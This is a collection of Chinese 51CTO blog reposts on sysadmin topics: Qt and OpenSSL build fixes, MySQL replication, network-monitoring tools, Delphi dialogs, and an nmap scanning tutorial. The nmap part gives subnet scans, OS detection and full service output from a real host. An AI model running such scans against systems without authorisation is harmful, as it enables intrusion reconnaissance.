安装完QT插件,启动VS2010时提示:Couldn't register all Qt4VSAddin commands:未能加载文件或程序集"stdole,version=7.0.3300.0......"一个很长的对话框,点击确定后,进入VS2010 IDE界面后,没有qt插件菜单。 需要在windows的cmd窗口中加载stdold.dll的.net程序集,如下: 1 2 "C:\Program Files\Microsoft SDKs\Windows\v7.0A\bin\NETFX 4.0 Tools\gacutil.exe" /i "C:\Program Files\Common Files\Microsoft Shared\MSEnv\PublicAssemblies\stdole.dll" 注意:带上双引号一起,将上述两行字符串一起复制到cmd命名中,回车执行。 本文转自Chinayu201451CTO博客,原文链接:http://blog.51cto.com/9233403/1968307 ,如需转载请自行联系原作者
一、系统环境 操作系统:centos6.4 x86_64 openssl版本:openssl-0.9.8e 二、安装过程 # tar zxvf openssl-0.9.8e.tar.gz # cd openssl-0.9.8e # ./config shared zlib # make 报错: md5-x86_64.s:41: Error: 0xd76aa478 out range of signed 32bit displacement md5-x86_64.s:50: Error: 0xe8c7b756 out range of signed 32bit displacement md5-x86_64.s:68: Error: 0xc1bdceee out range of signed 32bit displacement md5-x86_64.s:77: Error: 0xf57c0faf out range of signed 32bit displacement md5-x86_64.s:95: Error: 0xa8304613 out range of signed 32bit displacementMany more errors like this. 解决方法: #vim openssl-0.9.8e/crypto/md5/asm/md5-x86_64.pl 在 sub round1_step { my ($pos, $dst, $x, $y, $z, $k_next, $T_i, $s) = @_; 后面加入: + $T_i = unpack("l",pack("l", hex($T_i))); # convert to 32-bit signed decimal 类似地,在sub round2_step, sub round3_step 和 sub round4_step相应的位置都加上这行 重新编译安装,成功! 本文转自月魔zhi蕾51CTO博客,原文链接:http://blog.51cto.com/308107405/1537551 ,如需转载请自行联系原作者
linux一般不会自动安装nmap命令需要使用yum -y install nmap安装nmap命令,前提是您已经配置好了yum源。 nmap特点: 主机探测 端口扫描 版本检测 系统检测 支持探测脚本的编写 nmap命令详解 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 nmap ip_address #nmap默认发送一个arp的ping数据包,来探测目标主机1-10000范围内所有开放的端口 [root@controller scanport]# nmap 10.132.71.1 Starting Nmap 6.40 ( http://nmap.org ) at 2017-11-17 10:20 CST Nmap scan report for 10.132.71.1 Host is up (0.00030s latency). Not shown: 987 closed ports PORT STATE SERVICE 21/tcp open ftp 135/tcp open msrpc 139/tcp open netbios-ssn 1027/tcp open IIS 1028/tcp open unknown 1029/tcp open ms-lsa 1031/tcp open iad2 2638/tcp open sybase 3389/tcp open ms-wbt-server 6059/tcp open X11:59 7001/tcp open afs3-callback 8001/tcp open vcom-tunnel 8089/tcp open unknown MAC Address: 5C:F3:FC:E4:81:40 (IBM) Nmap done: 1 IP address (1 host up) scanned in 1.27 seconds [root@controller scanport]# -vv 参数表示结果详细输出 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 [root@controller scanport]# nmap -vv 10.132.71.1 Starting Nmap 6.40 ( http://nmap.org ) at 2017-11-17 10:21 CST Initiating ARP Ping Scan at 10:21 Scanning 10.132.71.1 [1 port] Completed ARP Ping Scan at 10:21, 0.02s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:21 Completed Parallel DNS resolution of 1 host. at 10:21, 0.00s elapsed Initiating SYN Stealth Scan at 10:21 Scanning 10.132.71.1 [1000 ports] Discovered open port 21/tcp on 10.132.71.1 Discovered open port 139/tcp on 10.132.71.1 Discovered open port 3389/tcp on 10.132.71.1 Discovered open port 135/tcp on 10.132.71.1 Discovered open port 1029/tcp on 10.132.71.1 Discovered open port 1028/tcp on 10.132.71.1 Discovered open port 1031/tcp on 10.132.71.1 Discovered open port 8001/tcp on 10.132.71.1 Discovered open port 1027/tcp on 10.132.71.1 Discovered open port 7001/tcp on 10.132.71.1 Discovered open port 8089/tcp on 10.132.71.1 Discovered open port 6059/tcp on 10.132.71.1 Discovered open port 2638/tcp on 10.132.71.1 Completed SYN Stealth Scan at 10:21, 1.15s elapsed (1000 total ports) Nmap scan report for 10.132.71.1 Host is up (0.00029s latency). Scanned at 2017-11-17 10:21:43 CST for 2s Not shown: 987 closed ports PORT STATE SERVICE 21/tcp open ftp 135/tcp open msrpc 139/tcp open netbios-ssn 1027/tcp open IIS 1028/tcp open unknown 1029/tcp open ms-lsa 1031/tcp open iad2 2638/tcp open sybase 3389/tcp open ms-wbt-server 6059/tcp open X11:59 7001/tcp open afs3-callback 8001/tcp open vcom-tunnel 8089/tcp open unknown MAC Address: 5C:F3:FC:E4:81:40 (IBM) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds Raw packets sent: 1082 (47.592KB) | Rcvd: 1001 (40.080KB) [root@controller scanport]# -p自定义扫描的端口 例如:扫描1-200号端口 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [root@controller scanport]# nmap -p1-200 10.128.71.1 Starting Nmap 6.40 ( http://nmap.org ) at 2017-11-17 10:26 CST Nmap scan report for 10.128.71.1 Host is up (0.00030s latency). Not shown: 197 closed ports PORT STATE SERVICE 21/tcp open ftp 135/tcp open msrpc 139/tcp open netbios-ssn MAC Address: 5C:F3:FC:E4:81:40 (IBM) Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds [root@controller scanport]# 例如:指定特定端口 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [root@controller scanport]# nmap -p135,136,137,139 10.128.71.1 Starting Nmap 6.40 ( http://nmap.org ) at 2017-11-17 10:28 CST Nmap scan report for 10.128.71.1 Host is up (0.0045s latency). PORT STATE SERVICE 135/tcp open msrpc 136/tcp closed profile 137/tcp closed netbios-ns 139/tcp open netbios-ssn MAC Address: 5C:F3:FC:E4:81:40 (IBM) Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds [root@controller scanport]# -sP指定扫描方式为ping(不扫描端口) nmap -sP ip_address #使用ping方式扫描(不扫描端口) nmap --traceroute ip_address #路由跟踪 nmap -sP xx.xx.xx.xx/24 #扫描一个网段(使用ping) nmap -sP 10.1.1.1-255 #也可以扫描一个网段(使用ping) nmap -sT ip_address #TCP contect()端口扫描 nmap -sU ip_address #UDP端口扫描 nmap -sS ip_address #TCP同步(SYN)端口扫描 nmap 10.1.1.1/24 #扫描一个网段使用默认端口扫描,结果同下面脚本 1 2 3 4 5 #!/bin/bash for i in {1..254} do nmap 10.128.71.$i >>scan.port done nmap探测操作系统类型 nmap -O ip_address #扫描操作系统类型 nmap -A ip_address #使用默认扫描,ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测等 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 [root@controller scanport]# nmap -A 10.128.71.1 Starting Nmap 6.40 ( http://nmap.org ) at 2017-11-17 10:46 CST Nmap scan report for 10.128.71.1 Host is up (0.00028s latency). Not shown: 987 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 07-21-12 03:03AM <DIR> aspnet_client | 11-17-17 07:35AM <DIR> download |_12-13-12 10:31AM 105984 \xD2\xBD\xB1\xA3\xB2\xBF\xC3\xC5\xC8\xCB\xD4\xB1.xls 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 1027/tcp open msrpc Microsoft Windows RPC 1028/tcp open msrpc Microsoft Windows RPC 1029/tcp open msrpc Microsoft Windows RPC 1031/tcp open tcpwrapped 2638/tcp open sybase? 3389/tcp open ms-wbt-server Microsoft Terminal Service 6059/tcp open tcpwrapped 7001/tcp open http Oracle WebLogic Server (Servlet 2.5; JSP 2.1) |_http-generator: WebLogic Server |_http-methods: No Allow or Public header in OPTIONS response (status code 404) |_http-title: Error 404--Not Found 8001/tcp open http Oracle WebLogic Server (Servlet 2.5; JSP 2.1) |_http-generator: WebLogic Server |_http-methods: No Allow or Public header in OPTIONS response (status code 404) |_http-title: Error 404--Not Found 8089/tcp open http Microsoft IIS httpd 6.0 | http-methods: Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT |_See http://nmap.org/nsedoc/scripts/http-methods.html |_http-title: 10.128.71.1 - / MAC Address: 5C:F3:FC:E4:81:40 (IBM) Device type: general purpose Running: Microsoft Windows XP OS CPE: cpe:/o:microsoft:windows_xp::sp2 OS details: Microsoft Windows XP SP2 Network Distance: 1 hop Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_nbstat: NetBIOS name: LD, NetBIOS user: <unknown>, NetBIOS MAC: 5c:f3:fc:e4:81:40 (IBM) | smb-os-discovery: | OS: Windows Server 2003 3790 Service Pack 2 (Windows Server 2003 5.2) | OS CPE: cpe:/o:microsoft:windows_server_2003::sp2 | Computer name: LD | NetBIOS computer name: LD | Workgroup: WORKGROUP |_ System time: 2017-11-17T10:50:02+08:00 | smb-security-mode: | Account that was used for smb scripts: <blank> | User-level authentication | SMB Security: Challenge/response passwords supported |_ Message signing disabled (dangerous, but default) |_smbv2-enabled: Server doesn't support SMBv2 protocol TRACEROUTE HOP RTT ADDRESS 1 0.28 ms 10.128.71.1 OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 89.36 seconds [root@controller scanport]# 本文转自lq201151CTO博客,原文链接:http://blog.51cto.com/liuqun/1982726 ,如需转载请自行联系原作者
1.在student用户下执行find /etc -name passwd 命令,并管理其输出要求如下: * 显示所有正确输出,屏蔽错误输出 * 保存正确数出到/tmp/find.out,错误数出到/tmp/find.err中 * 建立/tmp/find.all文件,并且保存所有输出到此文件中 * 再次保存所有输出到/tmp/find.all中,并且保持源文件内容 * 屏蔽此命令的所有输出 * 显示此命令的所有输出并保存输出到桌面上的任意文件中 * 保存正确输出到/tmp/find.out.1中,屏蔽错误输出 2.处理文件在文件/usr/share/mime/packages/freedesktop.org.xml要求如下: * 找到此文件中包含ich的行,并保存这些行到/root/lines中 * 用vim替换掉/root/lines中的空格,但要保持文件中原有的内容 本文转自铁骑传说51CTO博客,原文链接:http://blog.51cto.com/ybzbfs/1912088 ,如需转载请自行联系原作者
mysql实现主从复制 实验环境: server5:主 server6:从 server7:从 iptabls offselinux Disabled12345 安装mysql *先查看是否有其它版本的,若有,则先卸载 [root@server5 ~]# rpm -qa | grep mysqlmysql-libs-5.1.71-1.el6.x86_64 [root@server5 ~]# rpm -e mysql-libs-5.1.71-1.el6.x86_64error: Failed dependencies: libmysqlclient.so.16()(64bit) is needed by (installed) postfix-2:2.6.6-2.2.el6_1.x86_64 libmysqlclient.so.16(libmysqlclient_16)(64bit) is needed by (installed) postfix-2:2.6.6-2.2.el6_1.x86_64 mysql-libs is needed by (installed) postfix-2:2.6.6-2.2.el6_1.x86_64 [root@server5 ~]# rpm -e --nodeps mysql-libs-5.1.71-1.el6.x86_64[root@server5 ~]# rpm -qa | grep mysql[root@server5 ~]# 1234567891011 *安装mysql [root@server5 ~]# tar zxf mysql-5.7.17-1.el6.x86_64.rpm-bundle.tar gzip: stdin: not in gzip formattar: Child returned status 1tar: Error is not recoverable: exiting now [root@server5 ~]# tar xf mysql-5.7.17-1.el6.x86_64.rpm-bundle.tar #注意顺序[root@server5 ~]# rpm -ivh mysql-community-common-5.7.17-1.el6.x86_64.rpm[root@server5 ~]# rpm -ivh mysql-community-libs-5.7.17-1.el6.x86_64.rpm [root@server5 ~]# rpm -ivh mysql-community-devel-5.7.17-1.el6.x86_64.rpm[root@server5 ~]# yum install libaio -y[root@server5 ~]# yum install numactl -y[root@server5 ~]# rpm -ivh mysql-community-client-5.7.17-1.el6.x86_64.rpm[root@server5 ~]# rpm -ivh mysql-community-server-5.7.17-1.el6.x86_64.rpmwarning: mysql-community-server-5.7.17-1.el6.x86_64.rpm: Header V3 DSA/SHA1 Signature, key ID 5072e1f5: NOKEYerror: Failed dependencies: /usr/bin/perl is needed by mysql-community-server-5.7.17-1.el6.x86_64 perl(File::Path) is needed by mysql-community-server-5.7.17-1.el6.x86_64 perl(Getopt::Long) is needed by mysql-community-server-5.7.17-1.el6.x86_64 perl(POSIX) is needed by mysql-community-server-5.7.17-1.el6.x86_64 perl(strict) is needed by mysql-community-server-5.7.17-1.el6.x86_64 [root@server5 ~]# yum install perl -y[root@server5 ~]# rpm -ivh mysql-community-server-5.7.17-1.el6.x86_64.rpm[root@server5 ~]# 123456789101112131415161718192021222324 *在server5:master [root@server5 ~]# vim /etc/my.cnf..... log-bin=mysql-bin binlog-do-db=test server-id=1binlog-ignore-db=mysql ..... [root@server5 ~]# /etc/init.d/mysqld startInitializing MySQL database: [ OK ] Installing validate password plugin: [ OK ] Starting mysqld: [ OK ] [root@server5 ~]#[root@server5 ~]# cat /var/log/mysqld.log | grep pass #过滤初始密码2017-06-13T01:22:16.400573Z 1 [Note] A temporary password is generated for root@localhost: M.uepxaHq3oI [root@server5 ~]# mysql_secure_installation #修改mysql默认root密码[root@server5 ~]# mysql -uroot -pXiamin+0099mysql> GRANT REPLICATION SLAVE,RELOAD,SUPER ON *.* TO westos@'172.25.66.7' -> IDENTIFIED BY 'Xiamin+0099'; #创建账户并给与权限Query OK, 0 rows affected, 1 warning (0.07 sec) mysql> Flush privileges; Query OK, 0 rows affected (0.12 sec) mysql> quit Bye [root@server5 ~]#12345678910111213141516171819202122232425262728 *在server7:slave [root@server7 ~]# vim /etc/my.cnf..... server-id=2 .....[root@server7 ~]# /etc/init.d/mysqld start Initializing MySQL database: [ OK ] Installing validate password plugin: [ OK ] Starting mysqld: [ OK ] [root@server5 ~]# [root@server7 ~]# mysql_secure_installation [root@server7 ~]# mysql -uroot -pXiamin+0099 (此时需要先stop slave) mysql> change master to master_host='172.25.66.5', master_user='westos', -> master_password='Xiamin+0099', master_log_file='mysql-bin.000005', master_log_pos=616;Query OK, 0 rows affected, 2 warnings (0.50 sec) mysql> start slave; Query OK, 0 rows affected (0.06 sec) mysql> show slave status\G;..... Slave_IO_Running: Yes Slave_SQL_Running: Yes .....mysql> quit Bye [root@server7 ~]# 12345678910111213141516171819202122232425262728 测试: 在master中新建test库 [root@server5 ~]# mysql -uroot -pXiamin+0099..... mysql> show databases; +--------------------+| Database | +--------------------+| information_schema | | mysql | | performance_schema | | sys | +--------------------+4 rows in set (0.07 sec) mysql> create database test; Query OK, 1 row affected (0.08 sec) mysql> show databases; +--------------------+| Database | +--------------------+| information_schema | | mysql | | performance_schema | | sys | | test | +--------------------+5 rows in set (0.00 sec) mysql> use test Database changed mysql> create table MyClass( -> id int(4) not null primary key auto_increment, -> name char(20) not null, -> sex int(4) not null default '0', -> degree double(16,2)); Query OK, 0 rows affected (1.20 sec) mysql> show tables; +----------------+| Tables_in_test | +----------------+| MyClass | +----------------+1 row in set (0.00 sec) mysql> show processlist; +----+--------+---------------+------+-------------+-------+---------------------------------------------------------------+------------------+| Id | User | Host | db | Command | Time | State | Info | +----+--------+---------------+------+-------------+-------+---------------------------------------------------------------+------------------+| 3 | westos | server7:50403 | NULL | Binlog Dump | 17034 | Master has sent all binlog to slave; waiting for more updates | NULL | | 14 | root | localhost | NULL | Query | 0 | starting | show processlist | +----+--------+---------------+------+-------------+-------+---------------------------------------------------------------+------------------+2 rows in set (0.00 sec) mysql> quit Bye ..... [root@server5 ~]# 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859 在slave上查看 [root@server7 ~]# mysql -uroot -pXiamin+0099..... mysql> show databases; +--------------------+| Database | +--------------------+| information_schema | | mysql | | performance_schema | | sys | | test | +--------------------+5 rows in set (0.00 sec) mysql> use test Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> show tables; +----------------+| Tables_in_test | +----------------+| MyClass | +----------------+1 row in set (0.00 sec) mysql> show processlist; +----+-------------+-----------+------+---------+-------+--------------------------------------------------------+------------------+| Id | User | Host | db | Command | Time | State | Info | +----+-------------+-----------+------+---------+-------+--------------------------------------------------------+------------------+| 1 | system user | | NULL | Connect | 1894 | Slave has read all relay log; waiting for more updates | NULL | | 2 | system user | | NULL | Connect | 16880 | Waiting for master to send event | NULL | | 10 | root | localhost | NULL | Query | 0 | starting | show processlist | +----+-------------+-----------+------+---------+-------+--------------------------------------------------------+------------------+3 rows in set (0.00 sec) mysql> quit Bye ..... [root@server7 ~]# 本文转自铁骑传说51CTO博客,原文链接:http://blog.51cto.com/ybzbfs/1953119 ,如需转载请自行联系原作者
watch命令的使用 watch是一个非常实用的命令,基本所有的Linux发行版都带有这个小工具,如同名字一样,watch可以帮你监测一个命令的运行结果,省得你一遍遍的手动运行。在Linux下,watch是周期性的执行下个程序,并全屏显示执行结果。 默认watch会以2s的间隔重复运行命令,你也可以用 -n 参数指定时间间隔,还有一个实用的参数是-d,这样watch会帮你高亮显示变化的区域,这样更加一目了然了,Ctrl+c 可以退出 你可以拿他来监测你想要的一切命令的结果变化,比如:ls 监测某个文件的大小变化,看你的想象力了! 1.命令格式: watch [参数] [命令] 2.命令功能: 可以将命令的输出结果输出到标准输出设备,多用于周期性执行命令/定时执行命令 3.命令参数: -n或--interval watch缺省每2秒运行一下程序,可以用-n或-interval来指定间隔的时间。 -d或--differences 用-d或--differences 选项watch 会高亮显示变化的区域。 而-d=cumulative选项会把变动过的地方(不管最近的那次有没有变动)都高亮显示出来。 -t 或-no-title 会关闭watch命令在顶部的时间间隔,命令,当前时间的输出。 -h, --help 查看帮助文档 4.使用实例: 实例1: 命令:每隔一秒高亮显示网络链接数的变化情况 watch -n 1 -d netstat -ant说明: 其它操作: 切换终端: Ctrl+x 退出watch:Ctrl+g 实例2:每隔一秒高亮显示http链接数的变化情况 命令: watch -n 1 -d 'pstree|grep http' 说明: 每隔一秒高亮显示http链接数的变化情况。 后面接的命令若带有管道符,需要加''将命令区域归整。 实例3:实时查看模拟攻击客户机建立起来的连接数 命令: watch 'netstat -an | grep:21 | \ grep<模拟攻击客户机的IP>| wc -l' 说明: 实例4:监测当前目录中 scf' 的文件的变化 命令: watch -d 'ls -l|grep scf' 实例5:10秒一次输出系统的平均负载 命令: watch -n 10 'cat /proc/loadavg' 一、使用wtach + 命令 查看网卡流量 watch ifconfig watch cat /proc/net/dev 能看查看各网卡的接收和发送的的数据包/字节情况的统计流 watch -n 1 "/sbin/ifconfig eth0 | grep bytes" 二、nload工具 用途: 用来即时监看网路状态 安装: yum install nload # epel源 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 [xmxiuman@esf ~]$ nload -h nload version 0.7.2 Copyright (C) 2001 - 2008 by Roland Riegel <feedback@roland-riegel.de> nload comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions. For more details see the GNU General Public License Version 2 (http://www.gnu.org/copyleft/gpl.html). Command line syntax: nload [options] [devices] nload --help|-h Options: -a period Sets the length in seconds of the time window for average calculation. Default is 300. -i max_scaling Specifies the 100% mark in kBit/s of the graph indicating the incoming bandwidth usage. Ignored if max_scaling is 0 or the switch -m is given. Default is 10240. -m Show multiple devices at a time; no traffic graphs. -o max_scaling Same as -i but for the graph indicating the outgoing bandwidth usage. Default is 10240. -t interval Determines the refresh interval of the display in milliseconds. Default is 500. -u h|b|k|m|g Sets the type of unit used for the display of traffic numbers. H|B|K|M|G h: auto, b: Bit/s, k: kBit/s, m: MBit/s etc. H: auto, B: Byte/s, K: kByte/s, M: MByte/s etc. Default is h. -U h|b|k|m|g Same as -u, but for a total amount of data (without "/s"). H|B|K|M|G Default is H. devices Network devices to use. Default is to use all auto-detected devices. --help -h Print this help. example: nload -t 200 -i 1024 -o 128 -U M The options above can also be changed at run time by pressing the 'F2' key. -a:这个好像是全部数据的刷新时间周期,单位是秒,默认是300. -i:进入网卡的流量图的显示比例最大值设置,默认10240 kBit/s. -m:显示所有网卡的统计数据,不显示流量图。 -o:出去网卡的流量图的显示比例最大值设置,默认10240 kBit/s. -t:显示数据的刷新时间间隔,单位是毫秒,默认500。 -u:设置右边Curr、Avg、Min、Max的数据单位,默认是自动变的.注意大小写单位不同! h|b|k|m|g h: auto, b: Bit/s, k: kBit/s, m: MBit/s etc. H|B|K|M|G H: auto, B: Byte/s, K: kByte/s, M: MByte/s etc. -U:设置右边Ttl的数据单位,默认是自动变的.注意大小写单位不同(与-u相同)! Devices:自定义监控的网卡,默认eth0,使用左右键切换。 nload默认查看的是eth0网卡,可以使用左右方向键选择检测的网卡 也可以这样监测eth1网卡的流量: # nload eth1 nload 默认分为上下两块: 上半部分是:Incoming也就是进入网卡的流量, 下半部分是:Outgoing,也就是从这块网卡出去的流量 每部分都有当前流量(Curr),平均流量(Avg),最小流量(Min),最大流量(Max),总和流量(Ttl)这几个部分,看起来还是蛮直观的。 另外,你也可以自己定义流量数值显示的单位 q或crtl + c 退出 三、ifstat 介绍 ifstat工具是个网络接口监测工具,能比较简单看实时网络流量 安装: 1 2 3 4 wget ./configure make && make install 实例 默认使用 [root@Node6 ~]# ifstat eth0 eth1 KB/s in KB/s out KB/s in KB/s out 0.06 0.18 0.00 0.00 0.06 0.13 0.00 0.00 0.06 0.13 0.00 0.00 0.06 0.13 0.00 0.00 0.06 0.13 0.00 0.00 0.06 0.13 0.00 0.00 默认ifstat不监控回环接口,显示的流量单位是KB。 监控所有网络接口 # ifstat -a lo eth0 eth1 KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out 0.00 0.00 0.28 0.58 0.06 0.06 0.00 0.00 1.41 1.13 0.00 0.00 0.61 0.61 0.26 0.23 0.00 0.00 ifstat 能比较简单看网络流量概况。 参数: -a 监测能检测到的所有网络接口的状态信息 -z 隐藏流量是无的接口,例如那些接口虽然启动了但是未用的 -i 指定要监测的接口,后面跟网络接口名 时间: -t 显示时间 1 2 3 4 5 [root@Node6 ~]# ifstat -t Time eth0 eth1 HH:MM:SS KB/s in KB/s out KB/s in KB/s out 20:22:39 0.15 0.25 0.06 0.00 20:22:40 0.06 0.15 0.06 0.00 -T 报告所有监测接口的全部带宽 1 2 3 4 5 6 7 8 9 10 [root@Node6 ~]# ifstat -T eth0 eth1 Total KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out 0.06 0.21 0.00 0.00 0.06 0.21 0.06 0.15 0.06 0.00 0.12 0.15 0.06 0.15 0.18 0.00 0.23 0.15 0.06 0.15 0.18 0.00 0.23 0.15 0.06 0.15 0.18 0.00 0.23 0.15 0.06 0.15 0.12 0.00 0.18 0.15 0.06 0.15 0.06 0.00 0.12 0.15 -w 用指定的列宽,而不是为了适应接口名称的长度而去自动放大列宽 -W 如果内容比终端窗口的宽度还要宽就自动换行 -b 用kbits/s显示带宽而不是kbytes/s 四、iftop 介绍 iftop是一款实时流量监控工具,监控TCP/IP连接等,缺点就是无报表功能。必须以root身份才能运行。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [xmxiuman@esf ~]$ iftop -h iftop: display bandwidth usage on an interface by host Synopsis: iftop -h | [-npbBP] [-i interface] [-f filter code] [-N net/mask] -h display this message -n don't do hostname lookups -N don't convert port numbers to services -p run in promiscuous mode (show traffic between other hosts on the same network segment) -b don't display a bar graph of traffic -B Display bandwidth in bytes -i interface listen on named interface -f filter code use filter code to select packets to count (default: none, but only IP packets are counted) -F net/mask show traffic flows in/out of network -P show ports as well as hosts -m limit sets the upper limit for the bandwidth scale -c config file specifies an alternative configuration file iftop, version 0.17 copyright (c) 2002 Paul Warren <pdw@ex-parrot.com> and contributors -i:设定监测的网卡,如:# iftop -i eth1 -B:以bytes为单位显示流量(默认是bits),如:# iftop -B -n:使host信息默认直接都显示IP,如:# iftop -n -N:使端口信息默认直接都显示端口号,如: # iftop -N -F:显示特定网段的进出流量,如# iftop -F 10.10.1.0/24 或# iftop -F 10.10.1.0/255.255.255.0 -h:(display this message),帮助,显示参数信息 -p:使用这个参数后,中间的列表显示的本地主机信息,出现了本机以外的IP信息; -b:使流量图形条,默认就显示; -f:这个暂时还不太会用,过滤计算包用的; -P:使host信息及端口信息,默认就都显示; -m:设置界面最上边的刻度的最大值,刻度分五个大段显示,例:# iftop -m 100M 实例 默认是监控第一块网卡的流量 iftop 监控eth1 iftop -i eth1 直接显示IP, 不进行DNS反解析 iftop - 直接显示连接端口号, 不显示服务名称: iftop -N 显示某个网段进出封包流量 iftop -F 192.168.1.0/24 or 192.168.1.0/255.255.255.0 基于实例讲解输出含义 执行iftop -N -n -i eth1后界面为 1 2 3 19.1Mb 38.1Mb 57.2Mb 76.3Mb 95.4Mb+-----------------+-----------------+--------------------+--------------------+---------------------192.168.1.11 => 192.168.1.66 5.3Mb 3.22Mb 3.20Mb <= 219kb 45.7kb 49.3kb192.168.1.11 => 192.168.1.29 144kb 30.8kb 29.6kb <= 11.3Mb 2.38Mb 2.74Mb192.168.1.11 => 12.2.11.71 0b 6.40kb 6.66kb <= 0b 0b 0b192.168.1.11 => 192.168.1.8 2.63kb 1.43kb 932b <= 1.31kb 1.05kb 893b192.168.1.11 => 192.168.2.78 2.53kb 1.54kb 2.15kb <= 160b 160b 187b192.168.1.11 => 111.126.195.69 0b 166b 69b <= 0b 0b 0b------------------------------------------------------------------------------------------------------TX: cum: 9.70MB peak: 15.6Mb rates: 15.4Mb 3.26Mb 3.23Mb RX: 8.38MB 14.9Mb 11.5Mb 2.42Mb 2.79Mb TOTAL: 18.1MB 30.5Mb 27.0Mb 5.69Mb 6.03Mb iftop界面含义如下 第一行: 中间部分: ,即记录了哪些ip正在和本机的网络连接 中间部分右边: =>代表发送数据,<= 代表接收数据 底部三行: 底部三行第二列:cumm (累计) 底部三行第三列: 底部三行第四列: 通过iftop的界面很容易找到哪个ip在霸占网络流量,这个是ifstat做不到的。不过iftop的流量显示单位是Mb,这个b是bit,是位,不是字节,而ifstat的KB,这个B就是字节了,byte是bit的8倍。初学者容易被误导。 进入iftop画面后的一些操作命令(注意大小写) : 按h切换是否显示帮助; 按n切换显示本机的IP或主机名; 按s切换是否显示本机的host信息; 按d切换是否显示远端目标主机的host信息; 按t切换显示格式为2行/1行/只显示发送流量/只显示接收流量; 按N切换显示端口号或端口服务名称; 按S切换是否显示本机的端口信息; 按D切换是否显示远端目标主机的端口信息; 按p切换是否显示端口信息; 按P切换暂停/继续显示; 按b切换是否显示平均流量图形条; 按B切换计算2秒或10秒或40秒内的平均流量; 按T切换是否显示每个连接的总流量; 按l打开屏幕过滤功能,输入要过滤的字符,比如ip,按回车后,屏幕就只显示这个IP相关的流量信息; 按L切换显示画面上边的刻度;刻度不同,流量图形条会有变化; 按j或按k可以向上或向下滚动屏幕显示的连接记录; 按1或2或3可以根据右侧显示的三列流量数据进行排序; 按<根据左边的本机名或IP排序; 按>根据远端目标主机的主机名或IP排序; 按o切换是否固定只显示当前的连接; 按f可以编辑过滤代码,这是翻译过来的说法,我还没用过这个! 按!可以使用shell命令, 按q退出监控。 五、iptraf、dstat dstat详见:http://xiexiaojun.blog.51cto.com/2305291/1883447 yum install iptraf 对监控网络来说,这个更适合也更强大,但在总的流量显示上,没nload直观和方便 使用 直接运行 iptraf 后有一个如下的菜单提示,然后进入相关的选项查看 IP流量监视(IP traffic monitor) 网络接口的一般信息统计(General Interface Statistics) 网络接口的细节信息统计(Detailed Interface Statistics) 统计分析(Statistical Breakdowns) 局域网工作站统计(LAN Station Statistics) 过滤器(Filters...) 配置(Configure...) 退出(Exit) 也可以直接加参数或选项直接进入 可以查看还有哪些参数和选项 本文转自xiexiaojun51CTO博客,原文链接:http://blog.51cto.com/xiexiaojun/1919776 ,如需转载请自行联系原作者
delphi的消息对话框,类似VFP中的WAIT和MESSAGEBOXdelphi的消息对话框,类似VFP中的WAIT和MESSAGEBOX 1、最简单的是:showmessage() 它只有一个OK按钮,括号中填入希望提示的字符串。 例:showmessage('除数不能为零!!!') 2、showmessagefmt() 显示一条提示信息,只有一个OK按钮,但提示信息的字符可以带格式符。 3、另一个常用的消息对话框:messagedlg(),它的功能类似VFP的messagebox(),可以带消息类型符号:警告:mtwaring 黄色惊叹号 错误:mterror 红色的叉 信息:mtinformation 蓝色的I, 询问:mtconfirmation 绿色的问号 , 还有个mtcustom 没有位图信息。 可以带多个按钮:mbyes mbno mbok mbcancel mbhelp mbabort mbretry mball mbignore, 分别代表按钮:yes, no, ok, cancel, help, abort, retry, all, ignore. 可以返回一个结果:mrnone, mrabort,mryes,mrok,mrretry,mrno,mrcancel,mrignore,mrall 例子:if MESSAGEDLG('确认要删除这条记录吗?',mtwarning,[mbyes,mbno],0)=mryes then begin with DataM.ADOTable1 do begin delete; end; end; 4、和messagedlg()很相似的有一个:messagedlgpos() 它与messagedlg()的区别是可以指定一个显示的位置: 例子:if MESSAGEDLGPOS('确认要删除这条记录吗?',mtwarning,[mbyes,mbno],0,50,60)=mryes then begin with DataM.ADOTable1 do begin delete; end; end; 在messagedlgpos()中的最后两个数就是显示消息对话框窗口的横,纵坐标 5、creatmessagedialog:它不能直接显示对话框,而要调用创建的窗体来显示。 再就是常用windows的消息对话框:messagebox()了, 例子:if application.messagebox(pansichar('确实删除这行数据吗?'),'确认',mb_yesno)=idYes then abort; MessageBox对话框 输入控件的 ImeName属性把输入法去掉就默认为英文输入了 MessageBox对话框是比较常用的一个信息对话框,其不仅能够定义显示的信息内容、信息提示图标,而且可以定义按钮组合及对话框的标题,是一个功能齐全的信息对话框信息提示图标,而且可以定义按钮组合及对话框的标题,是一个功能齐全的信息对框。 1、函数原型及参数 